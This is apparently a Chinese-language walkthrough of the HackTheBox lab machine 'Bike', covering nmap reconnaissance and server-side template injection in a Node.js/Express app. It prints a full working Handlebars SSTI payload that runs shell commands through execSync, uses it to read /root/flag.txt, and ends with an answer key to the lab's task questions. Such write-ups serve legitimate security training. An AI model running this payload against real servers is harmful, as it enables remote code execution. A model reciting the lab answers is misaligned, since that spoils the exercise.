初始点1级第七关Bike
获取目标机IP。
nmap扫描开放端口。
nmap -sC -sV -v {target_IP}
-sC:脚本扫描
-sV:版本检测
-v:详细扫描
22和80端口开放,80端口上运行http node.js服务器且使用的是Express框架。
访问80端口。有一个提交电子邮件订阅功能。
提交邮箱[email protected]查看。
输入内容显示在页面,考虑存在xss,不过我们需要网站后端使用了哪些框架和语言。
可以使用Wappalyzer插件进行扫描。
与nmap扫描结果一样,服务器是基于node.js构建的,使用的是Express框架。
什么是 Node.js
Node.js 是能够在服务器端运行JavaScript的开放源代码、跨平台执行环境。
什么是Express
Express 是一个简洁而灵活的node.js Web应用框架。
输入测试xss,没成功,输入被显示在页面。
寻找其他漏洞。
在Node.js开发中,模板引擎不可或缺,与其他软件一样,模板引擎也可能存在漏洞,这里可以测试SSTI。
什么是模板引擎
模版引擎用于在网页上显示动态生成的内容,用用户输入替换模版文件中的变量,并将这些值显示给客户端。
什么是SSTI
攻击者向模板注入恶意代码,使恶意代码在服务器上执行。代码通过模板引擎运行,在受影响的服务器上执行。
下图为如何识别SSTI存在和如何找出具体使用了那个模板引擎。
如果SSTI存在,payload则被执行。
输入${7*7}尝试,没有被执行,payload被输出。
输入{{7*7}}尝试,报错。
payload有效,但有错误没被执行,但从返回的信息中发现,使用的是handlebars模板引擎,而且在/root/Backend目录运行。
burp抓包,发送到repeater,修改email为我们的payload。payload如下:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
payload很难理解,只关注{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}这一行即可,execSyne()为我们要执行的命令。
对payload进行url编码。
替换email内容。发送。
woami被执行,替换成ls /root命令查看root目录。
root目录发现flag.txt文件。
命令替换成cat /root/flag.txt查看flag值。
Bike任务
任务1
问:nmap 识别哪些 TCP 端口为开放?回答以逗号分隔的端口列表,不带空格,从低到高。
答:22,80
任务2
问:什么软件正在运行侦听第一个问题中标识的 http/web 端口的服务?
答:Node.js
任务3
问:根据 Wappalyzer,Web 框架的名称是什么?
答:Express
任务4
问:我们通过提交 {{7*7}} 测试的漏洞的名称是什么?
答:Server Side Template Injection
任务5
问:Node.JS 中使用的模板引擎是什么?
答:Handlebars
任务6
问:用于编码文本的 BurpSuite 选项卡的名称是什么?
答:Decoder
任务7
问:为了在 HTTP 请求中发送有效负载中的特殊字符,我们将对有效负载进行编码。我们使用什么类型的编码?
答:URL
任务8
问:当我们使用 HackTricks 中的有效负载尝试运行系统命令时,我们会收到错误消息。响应错误中的“未定义”是什么?
答:require
任务9
问:Node.JS 中顶级作用域的名称是什么变量?
答:global
任务10
问:通过利用此漏洞,我们可以以 Web 服务器运行时的用户身份执行命令。该用户的名字是什么?
答:root
任务11
提交flag。
总结
当事情不景气时,继续前进、坚持不懈是至关重要的。
原文始发于微信公众号(AlertSec):HackTheBox-Bike
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论